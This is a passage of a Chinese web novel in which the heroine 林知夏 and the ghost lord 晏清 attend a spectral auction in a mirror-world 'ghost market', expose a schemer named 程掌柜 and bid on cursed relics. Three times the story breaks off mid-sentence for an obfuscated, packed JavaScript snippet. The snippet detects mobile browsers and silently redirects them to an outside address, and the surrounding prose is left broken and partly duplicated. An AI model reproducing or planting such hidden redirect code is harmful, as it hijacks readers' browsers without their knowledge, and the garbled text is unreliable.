话音刚落,鼎中突然窜出条青鳞巨蟒。林知夏要吓死了,好丑的蛇!正要甩出五帝钱,晏清却扣住了她手腕:“莫动。” 巨蟒金瞳竖立,獠牙堪堪停在她咽喉三寸处。林知夏屏息望着鳞片间游走的暗金纹路,突然发现这哪是什么蟒蛇——分明是条被剥了角的蛟! “阴眼局的规矩。”晏清指尖燃起幽冥火,火光映出蛟身七寸处的青铜铭文,“拍品伤人,价翻三倍。” 林知夏:“……”尼玛,为了三倍赔偿她就活该要站着挨打?! 唉?不对啊?拍卖会不是子时三刻在室内举行吗?他们的房号是玄字丙号房,请柬都收了好吧!现在才几点啊?!鬼做生意都这么随心所欲不守时的? 22. 镜中鬼市(三) 疑问很多,这时却顾不上解惑。 四周响起此起彼伏的喝彩声,戴傩面的鬼众从各个角落冒出来。林知夏这才惊觉整条街的“人”都在围观,就连酒肆窗棂后都浮着层层叠叠的惨白面孔。 “现在竞拍开始。”执事打扮的侏儒敲响人皮鼓,鼓槌竟是半截腿骨,“起拍价——” “三碗孟婆汤。”晏清突然开口。 整条街倏地寂静,连蛟都僵在半空。执事侏儒的独眼疯狂转动,手中骨槌“咔嚓”捏成两截:“这位大人……” “再加七滴忘川水。”晏清负手而立,十盏琉璃瓶悬在蛟首上方,“够买它全尸了。” 林知夏全程就一个大写得懵。 不是,这怎么突然就开始拍卖了??? 这鼎里不是镇着前朝太子的魂魄????蛟龙哪来的??? 而且太子的魂魄不是程掌柜拿来交易的筹码吗???怎么就过渡到拍卖环节了??? 不觉得很奇怪很离谱吗? 结果倒好,一方敢卖一方敢买???将人家程掌柜置于何地???还有比这更莫名其妙的吗?! 然后,拍卖货币是孟婆汤和忘川水…………………这两个是可以随便交易的吗????地府冥司不管的??? 据她所知,孟婆汤加上忘川水等于投胎特权,可以不用排队,直接投胎转世为人胎!这在鬼界是比黄牛还黄牛的超值作弊神器!百分百投胎为人,不入畜生道不入饿鬼道,多难得的! 然后宴清说要用这些买蛟龙……还是只没了角,已经死了只余魂体的蛟……… 怎么办感觉好凌乱! 突然发现什么,林知夏轻扯宴清袖摆:“你看蛟尾!” 只见蛟龙尾部、暗青鳞片间竟卡着枚翡翠扳指,那扳指戒面与程掌柜那枚几乎如出一辙。晏清嗤笑一声,耐心和她解释,“此为换命术。” 林知夏眨眨眼,一脸的有听没懂。宴清抬手弹去她肩上落下的槐花,慢声道,“前朝太子身带龙气,用真龙气喂养伪龙,待气运加成聚于蛟龙角,再将其角斩去,龙气自可为己用。” 说着,他并指划开虚空,幽冥火顺着蛟尾烧向青铜鼎。 鼎身咒文在火焰中扭曲变形,竟慢慢拼成一张俊美坚毅的人脸。 蛟尾重重拍在地面,整条街的地砖应声碎裂。晏清揽着林知夏跃上酒肆飞檐,玄色长衫扫落数盏人皮灯笼,龙吟声响彻西市的刹那,幽冥火顺着林知夏掌心灌入蛟身。 青铜鼎轰然炸裂,林知夏在罡风中看见幻象:被铁链锁在寒潭的蛟,每日受剜心之刑的蛟,还有……还有被活生生钉在鼎中的太子! 它和他都好惨! ** 林知夏攥紧腕间龙骨镯,皱眉说,“那个程掌柜到底什么来头?一般人可做不到用换命术将太子龙气转嫁到蛟身,再剜角取髓……”说到这里厌恶的撇了下嘴,“既然角已经去了,蛟也只剩下魂体,太子魂魄就算还在肯定也已经残破不堪,一个人类太子又不是人间帝王,他龙气能有多少?这个程掌柜是把咱们当傻子冤大头糊弄?还有那个拍卖行,太不专业了吧!” 话刚说完,被拍卖行重新控制住的蛟首突然转向他们,竖瞳中生生滚出两行血泪。林知夏的罗盘磁针骤然直立,二十八枚蹀躞带金铃无风自动。 林知夏面露不忍,宴清却很淡定,抬手示意那气急败坏要上来讨要说法的侏儒稍待片刻,他说,“程掌柜出身阴山阁。” 林知夏很震惊,“是那个血玉为契,九生一死,据说很神秘,传承数千年,有长生术的阴山阁?!” 宴清颔首,林知夏表示槽多无口。 “所以阴山阁的长生术就是利用各种歪门邪道给自己延寿?”瞧那个程掌柜把自己折腾的人不人鬼不鬼的,还做下那种恶行,蛟龙本就是世间难寻的濒危物种,人家太子好端端的又何辜! 杀人也不过头点地! 想到刚才幻象中看到的场景,林知夏瞬间对阴山阁的印象降到冰点。 宴清见她气呼呼的,颇觉有趣,笑着说,“那阴山阁虽有些浪得虚名,倒也没有如此不堪,这程掌柜因犯下错事早已被驱除家族,他对长生已生执念,死期将至,此时不过是最后想搏一搏罢了。” 林知夏:“所以——” “所以娘子的善心用错地方了。” 林知夏还没明白他话中意思,就见宴清直接玩了个大的,幽冥火幻化成火凤模样,巨大羽翼展开后仿若遮天蔽日,下方传来众鬼惊呼嘈杂声,下一瞬,火凤如离弦之箭径自扑向蛟龙,蛟龙连反抗的机会都无,直接被烧得魂飞魄散。 林知夏刚要说什么,下方传来程掌柜的嘶吼:“我的龙气!你们竟敢……” “竟敢如何?”宴清的表情自始至终都没有变化,眼前发生的一切好似都不能让他有所触动。他打了个响指,程掌柜脖颈的缝合线倏然寸寸崩裂,他疯狂扑向蛟龙魂魄最后被烧的地方,似要找寻空气中的最后一丝龙气。 “生意人最忌贪心。”晏清漫不经心地弹落衣袖间的槐叶,“程掌柜连这点规矩都不懂?” 林知夏忽然嗅到若有若无的松脂味,这味道她熟啊,和屏山村炼人烛的气味简直如出一辙! 晏清好似知道她在想什么,脸上笑容温文尔雅,“娘子聪慧,屏山村的局,程掌柜确实掺了一脚。” 林知夏:“不瞒你说,我有点迷。” 宴清眼中笑意加深,执事侏儒突然敲响三声铜锣,在下方大声道:“恭喜贵客拍得蛟龙魂,蛟龙魂既已被贵客销毁,请贵客交付尾款!” 林知夏心说鬼君应该不会当冤大头吧。 见她欲言又止,晏清轻笑一声,带着她飘然落地:“鬼市的规矩,拍品越残缺,价码越公道。” “这位大人说笑了。”执事侏儒的独眼诡谲转动,“西市向来童叟无欺……” “是吗?”晏清突然用幽冥火凝出盏青铜灯,灯芯是诡异的幽蓝色,隐隐带着可怖的威压气势。他说,“想好再答。” 整条街倏地死寂。 “大人!”执事侏儒突然扑跪在地,独眼渗出黑血,“是小人有眼不识泰山!小人也是受程掌柜哄骗,求您大人有大量放过小人吧!” 林知夏看向还在那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272282|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边扑腾的程掌柜,刚要说点什么,程掌柜突然捂住自己的脖子,双眼大睁直直倒地。正要细看,眼前突然多了一只手,她听到宴清说,“莫被脏东西污了眼。”然后前后不到两秒钟,等手拿开,程掌柜不见了,侏儒也不见了,只余下幽冥火如一股小旋风悠闲的绕圈徘徊。 林知夏:“……” 这时,整条街的灯笼突然同时熄灭。 林知夏本能地攥住晏清衣袖,墨玉戒迸出的青光中,她看见无数傩面鬼众正机械地重复着生前的动作——胡商数着人骨算筹,卖花娘用尸油浇灌牡丹,酒肆老板娘正将活人心脏封入酒坛。 “闭眼。”晏清的手掌覆上她眼睑,“我们要回去了。” 阴风卷着纸灰扑面而来,林知夏听见此起彼伏的锁链拖曳声。等她再睁眼时,已经回到家中放置铜镜的厢房,案头铜炉香烟袅袅,仿佛方才种种皆是幻梦。 “这是——?” “赝品总要现原形。”晏清将从她体内飞出,重新幻化的龙骨簪插·入她的发髻,“就像这阴眼局——娘子可要记牢了,鬼市里最真的东西,往往瞧着最假。” 林知夏:“所以……?” 晏清帮她解开蹀躞带的金铃,笑说,“方才咱们进的,是阴阳镜中的‘阴镜’,并非真正西市。真正的拍卖会……”他指尖轻点铜镜边缘,水银雾霭中浮现出一间雅致的茶室,“在这里。” 林知夏看着茶案上摆放的烫金请柬,突然意识到什么:“所以刚才发生的一切都是假的?程掌柜和蛟龙也都是假的?!” 宴清:“地方是假的,事是真的。” 林知夏:“我捋一捋啊,咱们先是接到了拍卖会的邀请函,这个邀请函是真的吗?” 宴清颔首:“真的。” 林知夏:“邀请函是真的,拍卖会也是真的,但是咱们去的地方出了问题,也就是说咱们被人摆了一道,那个程掌柜是给咱们下套的人吗?” 宴清目露不屑,“他可没那本事。” 林知夏大眼睛忽闪忽闪,“你知道是谁?” 宴清头摇得很干脆,“我若知道,怎会轻易带你离开!” 林知夏单手托腮,“那条蛟龙和那个前朝太子是真的吗?” 宴清:“自然是真。只是咱们看到的蛟龙魂体并非真的魂体,是被人炼制盛装龙气的容器罢了。” 林知夏:“……你的意思是我看到的幻象,还有蛟龙双眼流血泪是假的?” 宴清捏捏她的耳垂,“在酒肆时为夫可就提醒过你,鬼迷心窍。” 林知夏:“……” 她还是想不通,“他们图什么啊?你那么厉害,招惹你就是明晃晃送死,有意义吗?” 宴清将她揽在身前,声音难得柔和如斯,“为夫说了,程掌柜死期将至,即使明知无望,也想博一博。何况——”他抚上她腕间龙骨镯,“若你心软,用此物救下蛟龙魂,也算是博赢了。” 林知夏无语,“我有那么蠢吗?你的龙骨就算我死也不会交给任何人。” 宴清瞳孔映着她美若朝霞的小脸,唇角微弯,“但愿娘子勿相负。” 23. 镜中鬼市(四) 林知夏总结了整件事的前因后果,觉得程掌柜这种阴险狡诈两头吃的小人,死就死在不了解鬼君宴清的脾性上。 他以为他给出诚意,抛出筹码,蛟魂里也确实封有龙气,这都是他的底气。但是,他忘了宴清不是人类,他不讲规矩,不讲武德,不被条条框框的道德感束缚,他骨子里是身为神兽的傲慢和高高在上。 你跟他耍心眼,他高兴了陪你玩玩,不高兴了直接烧死,就是这么简单粗暴! 程掌柜可能以为宴清今非昔比,说是龙,却无肉身,说是鬼,魂体不全,他以为宴清实力没那么玄乎,博一博,鸟·枪·换大·炮,但现实是,他连博的资格都没有。烧死他,只需要鬼君大人挥一挥衣袖。 这就是典型的拎不清。 林知夏稍稍有那么点唏嘘,她平时从不主动问关于‘龙’的话题,宴清愿意说,她听着,他不提,她有疑惑也绝口不问。身为林家人、凶手的后代,她非常拎得清,恃宠而骄什么的,不存在的!让干什么干什么,能配合尽量配合,能出十分力,绝不少出一丝丝,只要不违背原则触及底线,她愿意为他做任何事! 这是自从知道林家欠他什么后,林知夏做出的决定,至今,未曾背信! 铜炉青烟袅袅,晏清指尖抚过镜面。 拍卖会子时三刻开始,现在刚过子时,入场时间还有四十五分钟,林知夏和宴清决定二入西市。 拍卖会十年一次,机会难得,赶上了不去瞧瞧未免太亏。 铜镜在此时泛起涟漪,镜中西市大街的灯笼次第亮起。晏清执起她的手穿过镜面,下一瞬,他们正站在青石牌楼下。 青石板路泛着尸油特有的暗黄,酒肆幌子下悬着七盏骨灯,戴傩面的胡商正用死人指甲串成的算筹计算账目——这些,与之前在‘阴镜’中看到的场景其实没什么不同。 头上龙骨簪再次化成一股青烟没入身体,那种仿佛隔着一层什么的感觉又出现了。林知夏适应良好,穿过牌楼,她特意数着青石板——左三右四,第七步踏在阴阳鱼眼。这是宴清教她的“踏罡步”,说是能避开西市的噬魂阵。 果然,随着最后一步落下,原本阴森的长街忽然灯火通明,商铺门前悬着的琉璃灯映出各色奇珍异宝。林知夏茫然只是片刻,她拽着宴清的袖摆,左瞧右看,目不暇接,这!才该是大唐该有的盛世场景! 林知夏跟在宴清身边看得津津有味,一人一鬼一路走一路瞧,直到走到长街尽头,拐个弯,眼前出现一栋三层木楼。 木楼看上去质朴又沧桑,大门两侧各挂七盏白灯笼,不是人皮灯笼,就是普通的纸灯笼,大门也是普通的原木木门,没有雕梁画栋,没有红漆点缀,跟刚刚一路看过来的繁华街市形成鲜明对比。 简直低调的,嗯,有点太低调了。 虽然低调,但林知夏却不敢小觑。她乖乖站在宴清身侧,他不动,她也不动,他不说话,她也不说话。 片刻,十二名头戴青面獠牙傩面的侍者自木楼中鱼贯而出,他们手中漆盘托着的是几副镶金面具,客气的双手奉上。 晏清先挑了副鱼鳞纹面具自己戴上,又挑了副饕餮纹的面具扣到林知夏脸上,玄色衣袖扫过她后颈系带时,他浅笑,“莫紧张,有为夫在,娘子可随心。” 林知夏眼睛弯弯,“好哒!” 指尖点上她的眉心,宴清吓唬她,“真正的西市拍卖场有三重门——过天门需饮忘川水,踏地门要受剜心刑——” 林知夏咽口水,“那第三道呢?” “自然是……”晏清突然揽住她的腰旋身入楼,幽冥火在虚空烧出星斗轨迹,“与为夫跳完胡旋舞。” 林知夏;“……………” 二跳胡旋舞倒是难度不大,就是连转三十六圈真的真的很讨厌。林知夏要扶着宴清的手才能勉强站稳不晃荡。她小声问宴清,“你刚刚骗我的吧,根本不需要饮忘川水,受剜心刑。” 宴清:“为夫从不骗娘子。” 林知夏:“但是——?” 他笑,“但是,前两重门是对无请柬者。” 林知夏:“呵呵。” “两位贵客这边请。”穿赭色短打的伙计躬身递来盏白骨灯笼,灯笼纸上绘着二十八宿星图,“玄字丙号厢房已备好热茶。” 进到木楼里,别有洞天。 首先,里面很大,尤其是一楼大厅,感觉有一个足球场那么大。明明在外面瞧着很小巧,感觉也就两百平那样。 其次,装潢别具一格,完全不是木楼外面的极简风,室内处处精良,处处巧思,说金碧辉煌都是辱人家了,是那种很有格调的高级感。 飞檐下悬着七盏青铜人面灯,每盏灯芯都燃着不同颜色的火焰。 林知夏和宴清被侍者引入三楼玄字丙号房,十二扇雕花槅扇将厢房围成环形,正中悬着面等人高的青铜镜。林知夏发现镜中倒映的竟不是他们身影,而是翻涌的血海,血海里沉浮着无数青铜匣。八仙桌上摆着紫铜鎏金香兽,袅袅青烟里浮动着二十八宿星图。 侍女捧来描金托盘,盘中龙髓茶泛着诡异的靛蓝色,茶汤表面浮着片带血鳞片状东西,怪恶心的。 “隋炀帝征高句丽时,斩蛟取髓炼的长生茶,虽是仿的,却也有可取之处。”晏清弹指烧尽茶汤中的怨气,“娘子浅尝辄止即可。” 林知夏见室内没了外人,放松了很多。她用银针探过茶盏,针尖顷刻覆满白霜,她啧啧,“这哪是长生茶,分明是索命汤,我才不喝。” 宴清失笑,“此茶对人无害。” 林知夏三连拒,“不行,喝不下,我害怕。”她站起身走到窗棂那里,也不开窗,只透过缝隙往外瞧,穿圆领袍的胡商捧着漆盒穿梭廊间,二楼栏杆处转出十二名抱琵琶的胡姬,箜篌声起时,整座阁楼的灯笼倏地变成惨绿色。戴昆仑奴面具的侍者敲响人皮鼓,发出“咚——咚——”的闷响。 林知夏跟着紧张起来,她坐回自己的位置,墨玉戒似感应到她的不适,贴合无名指的温度渐渐升温,暖意直通心脏。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288000|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宴清握上她的手,“待会娘子看中什么,随意拍,为夫买单。" 林知夏踟蹰,晏清俯身替她将歪斜的牡丹绒花簪正,鎏金瞳孔映出她鬓边的银丝面帘。“娘子放心,为夫虽今时不同往日,手里资产却也够娘子拍下十座鬼市。” 林知夏:“!!!!” 晏清却顺势将她五指扣入指缝,幽冥火顺着相贴的掌心游走,“要开始了。” 拍卖场忽的钟鼓齐鸣,那面正中悬着的青铜镜里不再是翻涌的血海,而是映出一楼大堂的景象! “诸位贵客——” 沙哑嗓音自一楼垂落的朱红帷幔后传来,继而,绕出一名驼背老妪,她脸上覆着半张婴孩面皮,另半张脸则爬满蛆虫! 宴清:“此为今夜拍卖师。” 林知夏:“哇哦!” “第一件拍品——” 随着老妪声音落下,侍者捧出一个红雕木匣,“北宋年间的镇魂钉,起拍价……” “三两孟婆汤。”隔壁厢房传来沙哑男声。 林知夏凑近宴清:“你看看人家,三两孟婆汤,三两!刚才在阴镜,你开口就是三碗!”败家也不是这么败的! 宴清不以为意,“想要?”他贴近她耳畔,冷香拂得她耳尖发痒,“这钉子沾过王妃心头血,倒是适合给你串手链。” 林知夏没好气:“我又不是僵尸,要镇魂钉做什么?不要不要,你别乱花“钱”!” 最终那枚镇魂钉以五两孟婆汤成交。 “第一件拍品,唐天宝年间贵妃歃血帕。” 拍卖师掀开猩红绸布,泛黄的丝帕上凝结着发黑血渍,“杨玉环马嵬坡自缢时捂口鼻所用,浸着真龙天子泪。” 台下顿时响起此起彼伏的举牌声。 林知夏:“………………” “第三件拍品,鲁班尺。” 老妪枯爪掀开红绸,露出截暗青色的木尺。尺面密布蝌蚪状殄文,两端嵌着青铜饕餮首。林知夏表情逐渐认真。 “光绪年间扎彩匠用百年雷击枣木所制。”老妪介绍道,“量宅时可破三煞六害。” 竞价声再次此起彼伏。 “喜欢?”晏清扣住她的指尖,玄色衣袖扫过竞拍木牌,“三碗孟婆汤。” 林知夏倏地扭头,用看败家子的目光炯炯有神看过去!人家竞价都还是一两半两的加价,目前最高价都没有一碗!!他倒好,出口就是三碗孟婆汤!!! 满场哗然中,林知夏如愿以偿得到了鲁班尺。 但是好心痛,怎么破! 侍女送来鲁班尺,宴清给出孟婆汤,银货两讫。 等侍女离开,林知夏正要伸手去拿,晏清先一步用幽冥火裹住鲁班尺:“娘子可知,扎彩匠最擅养尸?” 林知夏有了不好预感,“所以这尺子……” “丈量过九百九十九具横死之尸。”晏清弹指烧尽怨气,“现在干净了。” 林知夏:“……”谢谢,但现在并不是很想摸它。 24. 镜中鬼市(五) 琉璃灯盏在青铜镜面投下斑驳光影,林知夏望着镜中楼下的喧嚣,看着竞拍者手中高举犀角牌的场景,恍惚有种这是在阳世的错觉。 晏清将剥好的松子仁推到她面前,现在下方正在拍第四件拍品,一串用婴孩乳牙穿成的项链,每颗牙齿表面都浮着层淡青色尸蜡。 “娘子若喜欢,为夫拍来给你串手钏可好?”晏清指尖燃起簇幽冥火,火光里映出项链中蜷缩的婴灵,“不过要等七七四十九日,待为夫用忘川水洗净怨气方可给娘子佩戴。” 林知夏心说我要它干嘛呀,图每天晚上做噩梦吗!她特干脆的摆手拒绝,“这东西看着就瘆得慌,还是留给有需要的人吧。” 宴清挑眉,“娘子可要想好了,这样品相的婴灵不好找,拍下收为鬼仆再合适没有。错过这次,下次再想要不一定能寻得到。” 林知夏坚定摇头,“不要。” 宴清有些遗憾,婴孩乳牙项链最终被人以三两孟婆汤拍走。 楼下开始竞拍第五件拍品——明代藩王妃的漆金点翠头面。 珠翠碰撞声混着此起彼伏的叫价,倒像是谁把雨打芭蕉的调子错谱成急管繁弦。 宴清手指镜面示意林知夏看,三尺长的紫檀匣里躺着对翡翠金簪,簪子没什么好看的,主要是看簪上挂的那对金铜铃,金桐玲的铃舌上刻有梵文六字真言,“唐时大慈恩寺的镇魂铃,挂在檐角可驱百鬼。” 林知夏凑近细看,想了想说,“这东西挂在老宅东厢挺合适的。”驱百鬼呢!对于天师来说,驱鬼的东西从来都不嫌多的,肯定是多多益善,越多越好。 只是……从鬼手里买驱鬼的东西,想想还真有点讽刺。 宴清:“这物件也唤作‘惊夜’——当年玄奘法师西行归来,用它镇过雁塔地宫。” 那还挺牛叉的。 林知夏有个疑问:“它是驱鬼的,鬼那么积极竞拍做什么?不怕自己把自己驱了吗?” 宴清失笑,“娘子有所不知,此物虽可驱百鬼,却非百邪不侵,若长期被邪祟侵染,由善转恶、由正转邪不过是时间问题,届时对于鬼物来说,此玲亦是如虎添翼的宝贝。” 林知夏听得有些心梗,握拳,“拍下它!” 宴清将她鬓边碎发拨到耳后,“娘子想要,为夫自当送与你。” 林知夏听了还怪感动的,只恨自己在这里是个穷逼,没有孟婆汤,也没有忘川水,啥也买不起,只能眼巴巴靠鬼君大大花钱。 唉~ 最终,‘惊夜’用三碗孟婆汤拿下。 三碗孟婆汤兑换成人民币……不能想,想了就觉得肉疼,在宴清跟前真是完全硬气不起了。 林知夏头一回真切为钱窘迫,也是头一回体验到什么叫一分钱难倒英雄汉。 无论去哪,货币真的太重要了! 之后又连续上了五件拍品,林知夏跟宴清都不感兴趣,就纯围观,看别的鬼花钱竞拍其实挺有意思的,有的鬼比较暴躁,眼见要打起来了,但很快又会莫名其妙的自己偃旗息鼓,完全不需要人去调和拉架,还怪文明的。 宴清听到她的感叹,眉眼都染了笑,和她解释说,“此处规矩严苛,若生事捣乱,阳世最多将人轰出去或报警处理,但在这里,不死不休。” 林知夏:“……原来如此。” 十件拍品完成,拍卖会竟然很人性化的还有中场休息环节。 楼下适时传来羯鼓急弦,十二名抱琵琶的胡姬踩着《凉州》曲调旋入天井。为首的舞娘足尖点过青石砖缝隙,金铃脆响中竟踏出七星图。林知夏的罗盘在蹀躞带下微微震颤,磁针指向舞娘裙摆,透过铜镜可以看到,舞娘裙摆那里缀着的不是寻常金箔,而是用朱砂写着生辰八字的黄表纸。 “好精妙的傀儡术。”她唏嘘,“这些舞娘该不会都是……” “前朝殉葬的宫娥。”宴清将指尖幽冥火靠近铜镜,火光透过铜镜映出了舞娘裙裾下的森森白骨,“琵琶骨钉着锁魂钉,倒是比活人跳得更齐整。” 林知夏:“…………”这时候应该关注她们跳的整不整齐吗?明明是一群死后都还要被压榨的可怜鬼! 但想想,这事自己管不了。她能力有限,烂好心的结果可能是引火烧身给宴清惹麻烦。那还是算了,做好事的前提还是要量力而行,强行做好事不是行善,是有大病。 见她不吭声了,宴清反而主动提起,“娘子若想救,为夫可花钱将她们买下。” 林知夏一点都不惊讶他能看穿自己的小心思,自己的见识和阅历注定在他面前藏不住什么秘密。 林知夏摇头,“算了,多一事不如少一事,救下这一批还有下一批,古往今来,殉葬宫娥不计其数,圣人说穷则独善其身,达则兼济天下,我穷,能力有限,所以应该独善其身。这里有这里的规则,我不该僭越。” 宴清听后捏捏她的耳垂,“娘子聪慧。” 林知夏:“我只是比较有自知之明。” 中场休息结束,拍卖师揭开第十一件拍品的猩红绸布,霎时,整座阁楼忽然弥漫起浓郁的松香味。 林知夏看着铜镜托盘里那方巴掌大的青铜香炉,有些讶异。青铜炉身缠枝莲纹间浮着七枚北斗状铜钉,正是《撼龙经》中记载的“七星镇魂炉”。 但凡一个懂点行的天师在场都不会认错! “唐天宝年间,玄宗为杨贵妃镇魂所铸。”老妪枯爪抚过炉耳处的鱼龙纹,“此物埋在马嵬驿槐树下三百载,出土时天生异象……” 她还没介绍完,已经有人出价:“十碗孟婆汤。” 满场哗然。 而这个出价人,可不就是刚刚还夸林知夏聪慧的鬼君宴清! 他鎏金瞳孔映出香炉倒影里游走的龙气,执起竞拍木牌的动作优雅如抚琴,淡定又从容。 林知夏扯住他的衣袖小声说,“这炉子煞气冲天的,你拍它做什么?” “娘子之前不是说想要个香炉熏艾草?”晏清反手握住她指尖,龙纹顺着相触的皮肤在两人间游走,“正好配你房里那套青瓷茶具。” 林知夏想起自己之前随口抱怨老宅返潮的话没想到被他记住了,心情一时有些复杂。但她又清楚明白宴清报价这么积极一定不是单单只为了买下给她用,这东西煞气太重了,有钱什么香炉买不到买这玩意儿,还要费心吧啦的除煞,麻烦死了! 楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295565|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下传来此起彼伏的加价声,当竞价攀升到二十碗孟婆汤时,晏清忽然轻笑:“看来有人比我们更需要镇魂。”话落,玄色衣袖扫过竞拍木牌,“三十碗。” 林知夏:“……” 三十碗孟婆汤足够三百阴魂投胎转世了! 这位真是豪无人性! 拍卖师的人皮鼓似怕他反悔似的重重敲响,镇魂炉顺利收入囊中。 侍女捧着香炉走进厢房,林知夏清晰看到炉耳处刻着“赐环”二字,原本她以为这个“赐环”是玄宗赐给杨玉环的意思,但事实证明,她狭隘了。 “娘子可知‘环’字在唐时有赦罪之意?”晏清并指划开炉底暗格,轻描淡写取出一卷裹着龙鳞的帛书,“这炉子里装的可不是香灰。” 是的,龙鳞! 镇魂炉里竟然有龙鳞!!! 林知夏:“……拍卖场的人没人发现的吗?” 宴清展开帛书,口气随意,“此暗格设有高级法阵,我为龙鳞之主,旁人可感应不到。” 不管如何吧,林知夏替他开心,虽然不是龙骨,龙鳞也行,蚊子再小也是肉不是!这三十碗孟婆汤花得值! 龙鳞中蕴含龙气,离开帛书在外溢前宴清直接收入体内。林知夏也不打扰他,继续盯着铜镜看下面的拍品。 “接下来这件拍品有些特殊。”老妪沙哑的嗓音将林知夏的注意力全部拉回拍卖场。四名侍者抬着具贴满黄符的青铜棺走上高台,棺盖缝隙不断渗出暗红液体,血液如活物般在地面汇成个扭曲的“祭”字。 “光绪年间湘西赶尸匠的养尸棺。”拍卖师掀开棺盖的瞬间,整座阁楼刮起一股难闻的腥风,“棺中——” 其它的林知夏再听不到了,她按住突突直跳的太阳穴,透过铜镜,眼睛直直的看向棺中躺着的那个身穿戏服的年轻女人,戏服水袖上绣着的并蒂莲纹仿佛与她的墨玉戒上纹路分毫不差。 可这怎么可能呢! 林知夏头痛欲裂,特别难受,下一瞬身体变得轻飘飘的,好似要飞起来,还没想明白怎么回事,腕上突然多了一截绸带,绸带一缠上来,林知夏的身体突然就有了重量感。 是晏清,他将林知夏险些脱体而出的魂魄强行拽回了躯壳。 “别看眼睛。”晏清掌心覆上她的眼帘,声音罕见的不悦,“这是苗疆的情蛊尸,眼中养着金银双生蛊,这蛊对鬼物无用,对人类却极霸道,娘子险些着了道了。” 仿佛印证他的话,棺中女子忽然睁开空洞的眼眶,两条拇指粗的蛊虫顺着眼角爬出。林知夏隔着指缝看见,差点没吐出来! 要是被这玩意上了身,毋宁死! “八十碗忘川水。”二楼天字厢房传来阴柔男声,“这具尸体,我家主人要了。” 林知夏敏锐地捕捉到“主人”二字,正欲细看,晏清已经挥袖而出,幽冥火在铜镜前撑起一堵火墙,这才放开挡住林知夏视线的手。 “感觉如何?可还难受?” 林知夏恹恹得趴在桌上,“头晕,恶心,反胃,有点想吐。” 宴清挑眉,“莫非娘子怀上了为夫的子嗣?” 林知夏:“…………你好烦!” 25. 镜中鬼市(完) 铜炉青烟盘旋着漫过雕花槅扇,林知夏指尖摩挲着镇魂炉耳处的鱼龙纹。刚刚被蛊虫激起的眩晕感还未完全消散,宴清掌心的幽冥火正顺着她腕间龙纹游走,将残存的阴毒逼出体外。 那个金银双生蛊也太厉害了,只是看一眼魂都差点被勾走,这哪是情蛊啊,勾魂蛊还差不多! 主要它还死贵! 情蛊尸的叫价已经到85碗忘川水,忘川水啊,如果孟婆汤在冥界相当于人民币,一克等于1000块的话,那忘川水就是黄金,一滴为一克,一克等于十克黄金,一碗是500克,这样换算一下,刚刚宴清给她买的鲁班尺,150个W,‘惊夜’,150个W,就说豪不豪吧! 再看情蛊尸,85碗忘川水,按现在的金价换算,好几个亿,是不是能更直观这个情蛊尸有多价值连城? 再价值连城,这玩意对林知夏和宴清也没什么用。林知夏觉得自己这阵子除了跟铃铛还有青铜锁结下了不解之缘外,现在可以再加上蛊了。 遇上这仨真就没碰上过好事! 听她碎碎念,宴清颇觉好笑,“你若气不过,为夫将这情蛊尸拍下,随娘子搓揉捏扁,出了心中恶气如何?” 林知夏疯狂摇头,心说我疯了,花几个亿就为了出气!那我这口气也太值钱了! “不用不要别买!”说完立马坐端正了,长呼一口气,“我感觉好多了。” 宴清被她逗笑,手指挑起她鬓边碎发钩钩缠缠,那双深邃漂亮的鎏金瞳好似嵌入了星光般夺人心魄。他说,“娘子莫要与我客气,你我夫妻,用现世的话说就是夫妻婚后财产共享,我的就是你的,你的就是我的,不分彼此。” 林知夏:“………”我跟你还是分一分比较好。 情蛊尸最终被85碗忘川水被拍走,刚才她虽然浑浑噩噩没听到楼下老妪的介绍,但宴清已经帮她补充了知识盲点。 这情蛊尸虽然名字是情蛊,但它不单单仅限于炼制情蛊,可以说任何蛊虫放入那具尸身温养,都有五成可能炼出蛊王。 蛊王,蛊中之王,五成几率,一半一半,简直是逆天般的存在,即使有这样那样严苛的条件,但也是天材地宝一般的存在,花几个亿买它,对于需要它的人来说真心不贵! 直到下一件拍品出现,宴清才撤去铜镜中间挡着的火墙,楼下拍卖场再次一览无遗的出现在铜镜中。 “第十二件拍品——”老妪枯爪掀开猩红绸布,露出个巴掌大的楠木妆奁,“同治年间京城扎彩匠的压箱底,内藏三十六式纸人点睛术。” 林知夏顿时坐直了身子。她身体微微前倾看得仔细,只见妆奁盖面嵌着的琉璃镜里,倒映着十二个穿红着绿的袖珍纸人,每个纸人都小巧玲珑不过寸许高,却连鬓角花钿都剪得栩栩如生,精致异常。 “扎彩秘术讲究‘三分扎七分画’。"宴清将新剥好的松子仁再次推到她面前,“这物件倒是与方才的鲁班尺相得益彰。” 楼下已有人举牌:“一两孟婆汤。” 